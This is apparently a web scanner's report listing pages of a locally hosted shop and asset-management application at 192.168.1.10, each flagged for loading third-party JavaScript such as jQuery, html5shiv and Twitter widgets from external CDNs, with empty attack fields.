URL http://192.168.1.10/admin/ADMIN/SERVER/AS/edit_product.php?id=7

Method GET

Attack

Evidence <script src="https://oss.maxcdn.com/libs/respond.js/1.4.2/respond.min.js"></script>
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Attack

Evidence <script src="https://ajax.googleapis.com/ajax/libs/jquery/1.11.0/jquery.min.js"></script>

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/edit_product.php?id=8

Method GET

Attack

Evidence <script src="https://oss.maxcdn.com/libs/html5shiv/3.7.0/html5shiv.js"></script>

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/edit_product.php?id=8

Method GET

Attack

Evidence <script src="https://oss.maxcdn.com/libs/respond.js/1.4.2/respond.min.js"></script>

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/edit_product.php?id=9

Method GET

Attack

Evidence <script src="https://ajax.googleapis.com/ajax/libs/jquery/1.11.0/jquery.min.js"></script>

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/edit_product.php?id=9

Method GET

Attack

Evidence <script src="https://oss.maxcdn.com/libs/html5shiv/3.7.0/html5shiv.js"></script>

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/edit_product.php?id=9

Method GET

Attack

Evidence <script src="https://oss.maxcdn.com/libs/respond.js/1.4.2/respond.min.js"></script>

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/equipment.php

Method GET

Attack

Evidence <script src="https://ajax.googleapis.com/ajax/libs/jquery/1.11.0/jquery.min.js"></script>

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/equipment.php

Method GET

Attack

Evidence <script src="https://oss.maxcdn.com/libs/html5shiv/3.7.0/html5shiv.js"></script>

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/equipment.php

Method GET

Attack

Evidence <script src="https://oss.maxcdn.com/libs/respond.js/1.4.2/respond.min.js"></script>

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/fixedasset_report.php

Method GET

Attack

Evidence <script src="https://ajax.googleapis.com/ajax/libs/jquery/1.11.0/jquery.min.js"></script>
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Evidence <script src="https://oss.maxcdn.com/libs/html5shiv/3.7.0/html5shiv.js"></script>

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/fixedasset_report.php

Method GET

Attack

Evidence <script src="https://oss.maxcdn.com/libs/respond.js/1.4.2/respond.min.js"></script>

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/index.php

Method GET

Attack

Evidence <script src="https://ajax.googleapis.com/ajax/libs/jquery/1.11.0/jquery.min.js"></script>

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/index.php

Method GET

Attack

Evidence <script src="https://oss.maxcdn.com/libs/html5shiv/3.7.0/html5shiv.js"></script>

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/index.php

Method GET

Attack

Evidence <script src="https://oss.maxcdn.com/libs/respond.js/1.4.2/respond.min.js"></script>

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/reports.php

Method GET

Attack

Evidence <script src="https://ajax.googleapis.com/ajax/libs/jquery/1.11.0/jquery.min.js"></script>

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/reports.php

Method GET

Attack

Evidence <script src="https://oss.maxcdn.com/libs/html5shiv/3.7.0/html5shiv.js"></script>

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/reports.php

Method GET

Attack

Evidence <script src="https://oss.maxcdn.com/libs/respond.js/1.4.2/respond.min.js"></script>

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/reports1.php

Method GET

Attack

Evidence <script src="https://ajax.googleapis.com/ajax/libs/jquery/1.11.0/jquery.min.js"></script>

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/reports1.php

Method GET

Attack

Evidence <script src="https://oss.maxcdn.com/libs/html5shiv/3.7.0/html5shiv.js"></script>

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/reports1.php

Method GET

Attack
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URL http://192.168.1.10/admin/ADMIN/SERVER/AS/view_product.php

Method GET

Attack

Evidence <script src="https://oss.maxcdn.com/libs/html5shiv/3.7.0/html5shiv.js"></script>

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/view_product.php

Method GET

Attack

Evidence <script src="https://oss.maxcdn.com/libs/respond.js/1.4.2/respond.min.js"></script>

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/view_product.php?id=1

Method GET

Attack

Evidence <script src="https://oss.maxcdn.com/libs/html5shiv/3.7.0/html5shiv.js"></script>

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/view_product.php?id=1

Method GET

Attack

Evidence <script src="https://oss.maxcdn.com/libs/respond.js/1.4.2/respond.min.js"></script>

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/view_product.php?id=10

Method GET

Attack

Evidence <script src="https://oss.maxcdn.com/libs/html5shiv/3.7.0/html5shiv.js"></script>

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/view_product.php?id=10

Method GET

Attack

Evidence <script src="https://oss.maxcdn.com/libs/respond.js/1.4.2/respond.min.js"></script>

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/view_product.php?id=11

Method GET

Attack

Evidence <script src="https://oss.maxcdn.com/libs/html5shiv/3.7.0/html5shiv.js"></script>

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/view_product.php?id=11

Method GET

Attack

Evidence <script src="https://oss.maxcdn.com/libs/respond.js/1.4.2/respond.min.js"></script>

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/view_product.php?id=2

Method GET

Attack

Evidence <script src="https://oss.maxcdn.com/libs/html5shiv/3.7.0/html5shiv.js"></script>

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/view_product.php?id=2

Method GET

Attack
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Method GET

Attack

Evidence <script src="https://oss.maxcdn.com/libs/html5shiv/3.7.0/html5shiv.js"></script>

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/view_product.php?id=3

Method GET

Attack

Evidence <script src="https://oss.maxcdn.com/libs/respond.js/1.4.2/respond.min.js"></script>

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/view_product.php?id=4

Method GET

Attack

Evidence <script src="https://oss.maxcdn.com/libs/html5shiv/3.7.0/html5shiv.js"></script>

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/view_product.php?id=4

Method GET

Attack

Evidence <script src="https://oss.maxcdn.com/libs/respond.js/1.4.2/respond.min.js"></script>

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/view_product.php?id=5

Method GET

Attack

Evidence <script src="https://oss.maxcdn.com/libs/html5shiv/3.7.0/html5shiv.js"></script>

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/view_product.php?id=5

Method GET

Attack

Evidence <script src="https://oss.maxcdn.com/libs/respond.js/1.4.2/respond.min.js"></script>

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/view_product.php?id=6

Method GET

Attack

Evidence <script src="https://oss.maxcdn.com/libs/html5shiv/3.7.0/html5shiv.js"></script>

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/view_product.php?id=6

Method GET

Attack

Evidence <script src="https://oss.maxcdn.com/libs/respond.js/1.4.2/respond.min.js"></script>

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/view_product.php?id=7

Method GET

Attack

Evidence <script src="https://oss.maxcdn.com/libs/html5shiv/3.7.0/html5shiv.js"></script>

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/view_product.php?id=7

Method GET

Attack

Evidence <script src="https://oss.maxcdn.com/libs/respond.js/1.4.2/respond.min.js"></script>
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Attack

Evidence <script src="https://oss.maxcdn.com/libs/html5shiv/3.7.0/html5shiv.js"></script>

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/view_product.php?id=8

Method GET

Attack

Evidence <script src="https://oss.maxcdn.com/libs/respond.js/1.4.2/respond.min.js"></script>

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/view_product.php?id=9

Method GET

Attack

Evidence <script src="https://oss.maxcdn.com/libs/html5shiv/3.7.0/html5shiv.js"></script>

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/view_product.php?id=9

Method GET

Attack

Evidence <script src="https://oss.maxcdn.com/libs/respond.js/1.4.2/respond.min.js"></script>

URL http://192.168.1.10/admin/ADMIN/SERVER/asset_archive.php

Method GET

Attack

Evidence <script src="https://ajax.googleapis.com/ajax/libs/jquery/1.11.0/jquery.min.js"></script>

URL http://192.168.1.10/admin/ADMIN/SERVER/asset_archive.php

Method GET

Attack

Evidence <script src="https://oss.maxcdn.com/libs/html5shiv/3.7.0/html5shiv.js"></script>

URL http://192.168.1.10/admin/ADMIN/SERVER/asset_archive.php

Method GET

Attack

Evidence <script src="https://oss.maxcdn.com/libs/respond.js/1.4.2/respond.min.js"></script>

URL http://192.168.1.10/admin/ADMIN/SERVER/Audit_trail.php

Method GET

Attack

Evidence <script src="https://ajax.googleapis.com/ajax/libs/jquery/1.11.0/jquery.min.js"></script>
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Method GET

Attack

Evidence <script src="https://oss.maxcdn.com/libs/html5shiv/3.7.0/html5shiv.js"></script>

URL http://192.168.1.10/admin/ADMIN/SERVER/Audit_trail.php

Method GET

Attack

Evidence <script src="https://oss.maxcdn.com/libs/respond.js/1.4.2/respond.min.js"></script>
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Evidence <script src="https://ajax.googleapis.com/ajax/libs/jquery/1.11.0/jquery.min.js"></script>

URL http://192.168.1.10/admin/ADMIN/SERVER/customer_archive.php

Method GET

Attack

Evidence <script src="https://oss.maxcdn.com/libs/html5shiv/3.7.0/html5shiv.js"></script>

URL http://192.168.1.10/admin/ADMIN/SERVER/customer_archive.php

Method GET

Attack

Evidence <script src="https://oss.maxcdn.com/libs/respond.js/1.4.2/respond.min.js"></script>

URL http://192.168.1.10/admin/ADMIN/SERVER/Customer_loginout.php

Method GET

Attack

Evidence <script src="https://ajax.googleapis.com/ajax/libs/jquery/1.11.0/jquery.min.js"></script>

URL http://192.168.1.10/admin/ADMIN/SERVER/Customer_loginout.php

Method GET

Attack

Evidence <script src="https://oss.maxcdn.com/libs/html5shiv/3.7.0/html5shiv.js"></script>

URL http://192.168.1.10/admin/ADMIN/SERVER/Customer_loginout.php

Method GET

Attack

Evidence <script src="https://oss.maxcdn.com/libs/respond.js/1.4.2/respond.min.js"></script>

URL http://192.168.1.10/admin/ADMIN/SERVER/edit_user.php

Method GET

Attack

Evidence <script src="https://ajax.googleapis.com/ajax/libs/jquery/1.11.0/jquery.min.js"></script>

URL http://192.168.1.10/admin/ADMIN/SERVER/edit_user.php

Method GET

Attack

Evidence <script src="https://oss.maxcdn.com/libs/html5shiv/3.7.0/html5shiv.js"></script>

URL http://192.168.1.10/admin/ADMIN/SERVER/edit_user.php

Method GET

Attack

Evidence <script src="https://oss.maxcdn.com/libs/respond.js/1.4.2/respond.min.js"></script>

URL http://192.168.1.10/admin/ADMIN/SERVER/edit_user.php?id=1

Method GET

Attack

Evidence <script src="https://ajax.googleapis.com/ajax/libs/jquery/1.11.0/jquery.min.js"></script>

URL http://192.168.1.10/admin/ADMIN/SERVER/edit_user.php?id=1

Method GET

Attack
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URL http://192.168.1.10/admin/ADMIN/SERVER/edit_user.php?id=1

Method GET

Attack

Evidence <script src="https://oss.maxcdn.com/libs/respond.js/1.4.2/respond.min.js"></script>

URL http://192.168.1.10/admin/ADMIN/SERVER/edit_user.php?id=2

Method GET

Attack

Evidence <script src="https://ajax.googleapis.com/ajax/libs/jquery/1.11.0/jquery.min.js"></script>

URL http://192.168.1.10/admin/ADMIN/SERVER/edit_user.php?id=2

Method GET

Attack

Evidence <script src="https://oss.maxcdn.com/libs/html5shiv/3.7.0/html5shiv.js"></script>

URL http://192.168.1.10/admin/ADMIN/SERVER/edit_user.php?id=2

Method GET

Attack

Evidence <script src="https://oss.maxcdn.com/libs/respond.js/1.4.2/respond.min.js"></script>

URL http://192.168.1.10/admin/ADMIN/SERVER/edit_user.php?id=3

Method GET

Attack

Evidence <script src="https://ajax.googleapis.com/ajax/libs/jquery/1.11.0/jquery.min.js"></script>

URL http://192.168.1.10/admin/ADMIN/SERVER/edit_user.php?id=3

Method GET

Attack

Evidence <script src="https://oss.maxcdn.com/libs/html5shiv/3.7.0/html5shiv.js"></script>

URL http://192.168.1.10/admin/ADMIN/SERVER/edit_user.php?id=3

Method GET

Attack

Evidence <script src="https://oss.maxcdn.com/libs/respond.js/1.4.2/respond.min.js"></script>

URL http://192.168.1.10/admin/ADMIN/SERVER/edit_user_type.php

Method GET

Attack

Evidence <script src="https://ajax.googleapis.com/ajax/libs/jquery/1.11.0/jquery.min.js"></script>

URL http://192.168.1.10/admin/ADMIN/SERVER/edit_user_type.php

Method GET

Attack

Evidence <script src="https://oss.maxcdn.com/libs/html5shiv/3.7.0/html5shiv.js"></script>

URL http://192.168.1.10/admin/ADMIN/SERVER/edit_user_type.php

Method GET

Attack

Evidence <script src="https://oss.maxcdn.com/libs/respond.js/1.4.2/respond.min.js"></script>
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Method GET

Attack

Evidence <script src="https://ajax.googleapis.com/ajax/libs/jquery/1.11.0/jquery.min.js"></script>

URL http://192.168.1.10/admin/ADMIN/SERVER/edit_user_type.php?id=1

Method GET

Attack

Evidence <script src="https://oss.maxcdn.com/libs/html5shiv/3.7.0/html5shiv.js"></script>

URL http://192.168.1.10/admin/ADMIN/SERVER/edit_user_type.php?id=1

Method GET

Attack

Evidence <script src="https://oss.maxcdn.com/libs/respond.js/1.4.2/respond.min.js"></script>

URL http://192.168.1.10/admin/ADMIN/SERVER/edit_user_type.php?id=2

Method GET

Attack

Evidence <script src="https://ajax.googleapis.com/ajax/libs/jquery/1.11.0/jquery.min.js"></script>

URL http://192.168.1.10/admin/ADMIN/SERVER/edit_user_type.php?id=2

Method GET

Attack

Evidence <script src="https://oss.maxcdn.com/libs/html5shiv/3.7.0/html5shiv.js"></script>

URL http://192.168.1.10/admin/ADMIN/SERVER/edit_user_type.php?id=2

Method GET

Attack

Evidence <script src="https://oss.maxcdn.com/libs/respond.js/1.4.2/respond.min.js"></script>

URL http://192.168.1.10/admin/ADMIN/SERVER/edit_user_type.php?id=3

Method GET

Attack

Evidence <script src="https://ajax.googleapis.com/ajax/libs/jquery/1.11.0/jquery.min.js"></script>

URL http://192.168.1.10/admin/ADMIN/SERVER/edit_user_type.php?id=3

Method GET

Attack

Evidence <script src="https://oss.maxcdn.com/libs/html5shiv/3.7.0/html5shiv.js"></script>

URL http://192.168.1.10/admin/ADMIN/SERVER/edit_user_type.php?id=3

Method GET

Attack

Evidence <script src="https://oss.maxcdn.com/libs/respond.js/1.4.2/respond.min.js"></script>

URL http://192.168.1.10/admin/ADMIN/SERVER/edit_user_type.php?id=4

Method GET

Attack

Evidence <script src="https://ajax.googleapis.com/ajax/libs/jquery/1.11.0/jquery.min.js"></script>

URL http://192.168.1.10/admin/ADMIN/SERVER/edit_user_type.php?id=4

Method GET
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Attack

Evidence <script src="https://oss.maxcdn.com/libs/html5shiv/3.7.0/html5shiv.js"></script>

URL http://192.168.1.10/admin/ADMIN/SERVER/edit_user_type.php?id=4

Method GET

Attack

Evidence <script src="https://oss.maxcdn.com/libs/respond.js/1.4.2/respond.min.js"></script>

URL http://192.168.1.10/admin/ADMIN/SERVER/index.php

Method GET

Attack

Evidence <script src="https://ajax.googleapis.com/ajax/libs/jquery/1.11.0/jquery.min.js"></script>

URL http://192.168.1.10/admin/ADMIN/SERVER/index.php

Method GET

Attack

Evidence <script src="https://oss.maxcdn.com/libs/html5shiv/3.7.0/html5shiv.js"></script>

URL http://192.168.1.10/admin/ADMIN/SERVER/index.php

Method GET

Attack

Evidence <script src="https://oss.maxcdn.com/libs/respond.js/1.4.2/respond.min.js"></script>

URL http://192.168.1.10/admin/ADMIN/SERVER/OOS/

Method GET

Attack

Evidence <script src="https://ajax.googleapis.com/ajax/libs/jquery/1.11.0/jquery.min.js"></script>

URL http://192.168.1.10/admin/ADMIN/SERVER/OOS/

Method GET

Attack

Evidence <script src="https://oss.maxcdn.com/libs/html5shiv/3.7.0/html5shiv.js"></script>

URL http://192.168.1.10/admin/ADMIN/SERVER/OOS/

Method GET

Attack

Evidence <script src="https://oss.maxcdn.com/libs/respond.js/1.4.2/respond.min.js"></script>

URL http://192.168.1.10/admin/ADMIN/SERVER/OOS/announcement_detail.php

Method GET

Attack

Evidence <script src="https://ajax.googleapis.com/ajax/libs/jquery/1.11.0/jquery.min.js"></script>

URL http://192.168.1.10/admin/ADMIN/SERVER/OOS/announcement_detail.php

Method GET

Attack

Evidence <script src="https://oss.maxcdn.com/libs/html5shiv/3.7.0/html5shiv.js"></script>

URL http://192.168.1.10/admin/ADMIN/SERVER/OOS/announcement_detail.php

Method GET

Attack
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Evidence <script src="https://oss.maxcdn.com/libs/respond.js/1.4.2/respond.min.js"></script>

URL http://192.168.1.10/admin/ADMIN/SERVER/OOS/confirmed_order.php

Method GET

Attack

Evidence <script src="https://ajax.googleapis.com/ajax/libs/jquery/1.11.0/jquery.min.js"></script>

URL http://192.168.1.10/admin/ADMIN/SERVER/OOS/confirmed_order.php

Method GET

Attack

Evidence <script src="https://oss.maxcdn.com/libs/html5shiv/3.7.0/html5shiv.js"></script>

URL http://192.168.1.10/admin/ADMIN/SERVER/OOS/confirmed_order.php

Method GET

Attack

Evidence <script src="https://oss.maxcdn.com/libs/respond.js/1.4.2/respond.min.js"></script>

URL http://192.168.1.10/admin/ADMIN/SERVER/OOS/index.php

Method GET

Attack

Evidence <script src="https://ajax.googleapis.com/ajax/libs/jquery/1.11.0/jquery.min.js"></script>

URL http://192.168.1.10/admin/ADMIN/SERVER/OOS/index.php

Method GET

Attack

Evidence <script src="https://oss.maxcdn.com/libs/html5shiv/3.7.0/html5shiv.js"></script>

URL http://192.168.1.10/admin/ADMIN/SERVER/OOS/index.php

Method GET

Attack

Evidence <script src="https://oss.maxcdn.com/libs/respond.js/1.4.2/respond.min.js"></script>

URL http://192.168.1.10/admin/ADMIN/SERVER/OOS/orders.php

Method GET

Attack

Evidence <script src="https://ajax.googleapis.com/ajax/libs/jquery/1.11.0/jquery.min.js"></script>

URL http://192.168.1.10/admin/ADMIN/SERVER/OOS/orders.php

Method GET

Attack

Evidence <script src="https://oss.maxcdn.com/libs/html5shiv/3.7.0/html5shiv.js"></script>

URL http://192.168.1.10/admin/ADMIN/SERVER/OOS/orders.php

Method GET

Attack

Evidence <script src="https://oss.maxcdn.com/libs/respond.js/1.4.2/respond.min.js"></script>

URL http://192.168.1.10/admin/ADMIN/SERVER/OOS/pending_order.php

Method GET

Attack

Evidence <script src="https://ajax.googleapis.com/ajax/libs/jquery/1.11.0/jquery.min.js"></script>
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URL http://192.168.1.10/admin/ADMIN/SERVER/OOS/pending_order.php

Method GET

Attack

Evidence <script src="https://oss.maxcdn.com/libs/html5shiv/3.7.0/html5shiv.js"></script>

URL http://192.168.1.10/admin/ADMIN/SERVER/OOS/pending_order.php

Method GET

Attack

Evidence <script src="https://oss.maxcdn.com/libs/respond.js/1.4.2/respond.min.js"></script>

URL http://192.168.1.10/admin/ADMIN/SERVER/OOS/reports.php

Method GET

Attack

Evidence <script src="https://ajax.googleapis.com/ajax/libs/jquery/1.11.0/jquery.min.js"></script>

URL http://192.168.1.10/admin/ADMIN/SERVER/OOS/reports.php

Method GET

Attack

Evidence <script src="https://oss.maxcdn.com/libs/html5shiv/3.7.0/html5shiv.js"></script>

URL http://192.168.1.10/admin/ADMIN/SERVER/OOS/reports.php

Method GET

Attack

Evidence <script src="https://oss.maxcdn.com/libs/respond.js/1.4.2/respond.min.js"></script>

URL http://192.168.1.10/admin/ADMIN/SERVER/OOS/view_order.php?id=1

Method GET

Attack

Evidence <script src="https://ajax.googleapis.com/ajax/libs/jquery/1.11.0/jquery.min.js"></script>

URL http://192.168.1.10/admin/ADMIN/SERVER/OOS/view_order.php?id=1

Method GET

Attack

Evidence <script src="https://oss.maxcdn.com/libs/html5shiv/3.7.0/html5shiv.js"></script>

URL http://192.168.1.10/admin/ADMIN/SERVER/OOS/view_order.php?id=1

Method GET

Attack

Evidence <script src="https://oss.maxcdn.com/libs/respond.js/1.4.2/respond.min.js"></script>

URL http://192.168.1.10/admin/ADMIN/SERVER/OOS/view_order.php?id=2

Method GET

Attack

Evidence <script src="https://ajax.googleapis.com/ajax/libs/jquery/1.11.0/jquery.min.js"></script>

URL http://192.168.1.10/admin/ADMIN/SERVER/OOS/view_order.php?id=2

Method GET

Attack

Evidence <script src="https://oss.maxcdn.com/libs/html5shiv/3.7.0/html5shiv.js"></script>
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URL http://192.168.1.10/admin/ADMIN/SERVER/OOS/view_order.php?id=2

Method GET

Attack

Evidence <script src="https://oss.maxcdn.com/libs/respond.js/1.4.2/respond.min.js"></script>

URL http://192.168.1.10/admin/ADMIN/SERVER/OOS/view_order.php?id=3

Method GET

Attack

Evidence <script src="https://ajax.googleapis.com/ajax/libs/jquery/1.11.0/jquery.min.js"></script>

URL http://192.168.1.10/admin/ADMIN/SERVER/OOS/view_order.php?id=3

Method GET

Attack

Evidence <script src="https://oss.maxcdn.com/libs/html5shiv/3.7.0/html5shiv.js"></script>

URL http://192.168.1.10/admin/ADMIN/SERVER/OOS/view_order.php?id=3

Method GET

Attack

Evidence <script src="https://oss.maxcdn.com/libs/respond.js/1.4.2/respond.min.js"></script>

URL http://192.168.1.10/admin/ADMIN/SERVER/OOS/view_order.php?id=5

Method GET

Attack

Evidence <script src="https://ajax.googleapis.com/ajax/libs/jquery/1.11.0/jquery.min.js"></script>

URL http://192.168.1.10/admin/ADMIN/SERVER/OOS/view_order.php?id=5

Method GET

Attack

Evidence <script src="https://oss.maxcdn.com/libs/html5shiv/3.7.0/html5shiv.js"></script>

URL http://192.168.1.10/admin/ADMIN/SERVER/OOS/view_order.php?id=5

Method GET

Attack

Evidence <script src="https://oss.maxcdn.com/libs/respond.js/1.4.2/respond.min.js"></script>

URL http://192.168.1.10/admin/ADMIN/SERVER/OOS/view_order_notif.php

Method GET

Attack

Evidence <script src="https://ajax.googleapis.com/ajax/libs/jquery/1.11.0/jquery.min.js"></script>

URL http://192.168.1.10/admin/ADMIN/SERVER/OOS/view_order_notif.php

Method GET

Attack

Evidence <script src="https://oss.maxcdn.com/libs/html5shiv/3.7.0/html5shiv.js"></script>

URL http://192.168.1.10/admin/ADMIN/SERVER/OOS/view_order_notif.php

Method GET

Attack

Evidence <script src="https://oss.maxcdn.com/libs/respond.js/1.4.2/respond.min.js"></script>

URL http://192.168.1.10/admin/ADMIN/SERVER/Recovery.php
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Method GET

Attack

Evidence <script src="https://ajax.googleapis.com/ajax/libs/jquery/1.11.0/jquery.min.js"></script>

URL http://192.168.1.10/admin/ADMIN/SERVER/Recovery.php

Method GET

Attack

Evidence <script src="https://oss.maxcdn.com/libs/html5shiv/3.7.0/html5shiv.js"></script>

URL http://192.168.1.10/admin/ADMIN/SERVER/Recovery.php

Method GET

Attack

Evidence <script src="https://oss.maxcdn.com/libs/respond.js/1.4.2/respond.min.js"></script>

URL http://192.168.1.10/admin/ADMIN/SERVER/user.php

Method GET

Attack

Evidence <script src="https://ajax.googleapis.com/ajax/libs/jquery/1.11.0/jquery.min.js"></script>

URL http://192.168.1.10/admin/ADMIN/SERVER/user.php

Method GET

Attack

Evidence <script src="https://oss.maxcdn.com/libs/html5shiv/3.7.0/html5shiv.js"></script>

URL http://192.168.1.10/admin/ADMIN/SERVER/user.php

Method GET

Attack

Evidence <script src="https://oss.maxcdn.com/libs/respond.js/1.4.2/respond.min.js"></script>

URL http://192.168.1.10/admin/ADMIN/SERVER/user_type.php

Method GET

Attack

Evidence <script src="https://ajax.googleapis.com/ajax/libs/jquery/1.11.0/jquery.min.js"></script>

URL http://192.168.1.10/admin/ADMIN/SERVER/user_type.php

Method GET

Attack

Evidence <script src="https://oss.maxcdn.com/libs/html5shiv/3.7.0/html5shiv.js"></script>

URL http://192.168.1.10/admin/ADMIN/SERVER/user_type.php

Method GET

Attack

Evidence <script src="https://oss.maxcdn.com/libs/respond.js/1.4.2/respond.min.js"></script>

URL http://192.168.1.10/admin/index.php

Method GET

Attack

Evidence <script src="https://oss.maxcdn.com/libs/html5shiv/3.7.0/html5shiv.js"></script>

URL http://192.168.1.10/admin/index.php

Method GET
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Attack

Evidence <script src="https://oss.maxcdn.com/libs/respond.js/1.4.2/respond.min.js"></script>

URL http://192.168.1.10/affix.php

Method GET

Attack

Evidence <script src="http://html5shim.googlecode.com/svn/trunk/html5.js"></script>

URL http://192.168.1.10/affix.php?type=faqs.php

Method GET

Attack

Evidence <script src="http://html5shim.googlecode.com/svn/trunk/html5.js"></script>

URL http://192.168.1.10/affix.php?type=terms.php

Method GET

Attack

Evidence <script src="http://html5shim.googlecode.com/svn/trunk/html5.js"></script>

URL http://192.168.1.10/contact.php

Method GET

Attack

Evidence <script src="http://html5shim.googlecode.com/svn/trunk/html5.js"></script>

URL http://192.168.1.10/index.php

Method GET

Attack

Evidence <script src="http://html5shim.googlecode.com/svn/trunk/html5.js"></script>

URL http://192.168.1.10/index.php

Method GET

Attack

Evidence <script type="text/javascript" src="http://platform.twitter.com/widgets.js"></script>

URL http://192.168.1.10/login.php

Method GET

Attack

Evidence <script src="http://html5shim.googlecode.com/svn/trunk/html5.js"></script>

URL http://192.168.1.10/product_details.php

Method GET

Attack

Evidence <script src="http://html5shim.googlecode.com/svn/trunk/html5.js"></script>

URL http://192.168.1.10/product_details.php

Method GET

Attack

Evidence <script type="text/javascript" src="http://platform.twitter.com/widgets.js"></script>

URL http://192.168.1.10/product_details.php?%20id=1

Method GET

Attack

http://192.168.1.10/affix.php
http://192.168.1.10/affix.php?type=faqs.php
http://192.168.1.10/affix.php?type=terms.php
http://192.168.1.10/contact.php
http://192.168.1.10/index.php
http://192.168.1.10/index.php
http://192.168.1.10/login.php
http://192.168.1.10/product_details.php
http://192.168.1.10/product_details.php
http://192.168.1.10/product_details.php?%20id=1


Evidence <script src="http://html5shim.googlecode.com/svn/trunk/html5.js"></script>

URL http://192.168.1.10/product_details.php?%20id=1

Method GET

Attack

Evidence <script type="text/javascript" src="http://platform.twitter.com/widgets.js"></script>

URL http://192.168.1.10/product_details.php?%20id=10

Method GET

Attack

Evidence <script src="http://html5shim.googlecode.com/svn/trunk/html5.js"></script>

URL http://192.168.1.10/product_details.php?%20id=10

Method GET

Attack

Evidence <script type="text/javascript" src="http://platform.twitter.com/widgets.js"></script>

URL http://192.168.1.10/product_details.php?%20id=11

Method GET

Attack

Evidence <script src="http://html5shim.googlecode.com/svn/trunk/html5.js"></script>

URL http://192.168.1.10/product_details.php?%20id=11

Method GET

Attack

Evidence <script type="text/javascript" src="http://platform.twitter.com/widgets.js"></script>

URL http://192.168.1.10/product_details.php?%20id=2

Method GET

Attack

Evidence <script src="http://html5shim.googlecode.com/svn/trunk/html5.js"></script>

URL http://192.168.1.10/product_details.php?%20id=2

Method GET

Attack

Evidence <script type="text/javascript" src="http://platform.twitter.com/widgets.js"></script>

URL http://192.168.1.10/product_details.php?%20id=3

Method GET

Attack

Evidence <script src="http://html5shim.googlecode.com/svn/trunk/html5.js"></script>

URL http://192.168.1.10/product_details.php?%20id=3

Method GET

Attack

Evidence <script type="text/javascript" src="http://platform.twitter.com/widgets.js"></script>

URL http://192.168.1.10/product_details.php?%20id=4

Method GET

Attack

Evidence <script src="http://html5shim.googlecode.com/svn/trunk/html5.js"></script>
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URL http://192.168.1.10/product_details.php?%20id=4

Method GET

Attack

Evidence <script type="text/javascript" src="http://platform.twitter.com/widgets.js"></script>

URL http://192.168.1.10/product_details.php?%20id=5

Method GET

Attack

Evidence <script src="http://html5shim.googlecode.com/svn/trunk/html5.js"></script>

URL http://192.168.1.10/product_details.php?%20id=5

Method GET

Attack

Evidence <script type="text/javascript" src="http://platform.twitter.com/widgets.js"></script>

URL http://192.168.1.10/product_details.php?%20id=6

Method GET

Attack

Evidence <script src="http://html5shim.googlecode.com/svn/trunk/html5.js"></script>

URL http://192.168.1.10/product_details.php?%20id=6

Method GET

Attack

Evidence <script type="text/javascript" src="http://platform.twitter.com/widgets.js"></script>

URL http://192.168.1.10/product_details.php?%20id=7

Method GET

Attack

Evidence <script src="http://html5shim.googlecode.com/svn/trunk/html5.js"></script>

URL http://192.168.1.10/product_details.php?%20id=7

Method GET

Attack

Evidence <script type="text/javascript" src="http://platform.twitter.com/widgets.js"></script>

URL http://192.168.1.10/product_details.php?%20id=8

Method GET

Attack

Evidence <script src="http://html5shim.googlecode.com/svn/trunk/html5.js"></script>

URL http://192.168.1.10/product_details.php?%20id=8

Method GET

Attack

Evidence <script type="text/javascript" src="http://platform.twitter.com/widgets.js"></script>

URL http://192.168.1.10/product_details.php?%20id=9

Method GET

Attack

Evidence <script src="http://html5shim.googlecode.com/svn/trunk/html5.js"></script>
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Method GET

Attack

Evidence <script type="text/javascript" src="http://platform.twitter.com/widgets.js"></script>

URL http://192.168.1.10/products.php

Method GET

Attack

Evidence <script src="http://html5shim.googlecode.com/svn/trunk/html5.js"></script>

URL http://192.168.1.10/products.php

Method GET

Attack

Evidence <script type="text/javascript" src="http://platform.twitter.com/widgets.js"></script>

URL http://192.168.1.10/products.php?page=1

Method GET

Attack

Evidence <script src="http://html5shim.googlecode.com/svn/trunk/html5.js"></script>

URL http://192.168.1.10/products.php?page=1

Method GET

Attack

Evidence <script type="text/javascript" src="http://platform.twitter.com/widgets.js"></script>

URL http://192.168.1.10/products.php?page=2

Method GET

Attack

Evidence <script src="http://html5shim.googlecode.com/svn/trunk/html5.js"></script>

URL http://192.168.1.10/products.php?page=2

Method GET

Attack

Evidence <script type="text/javascript" src="http://platform.twitter.com/widgets.js"></script>

URL http://192.168.1.10/products.php?page=3

Method GET

Attack

Evidence <script src="http://html5shim.googlecode.com/svn/trunk/html5.js"></script>

URL http://192.168.1.10/products.php?page=3

Method GET

Attack

Evidence <script type="text/javascript" src="http://platform.twitter.com/widgets.js"></script>

URL http://192.168.1.10/register.php

Method GET

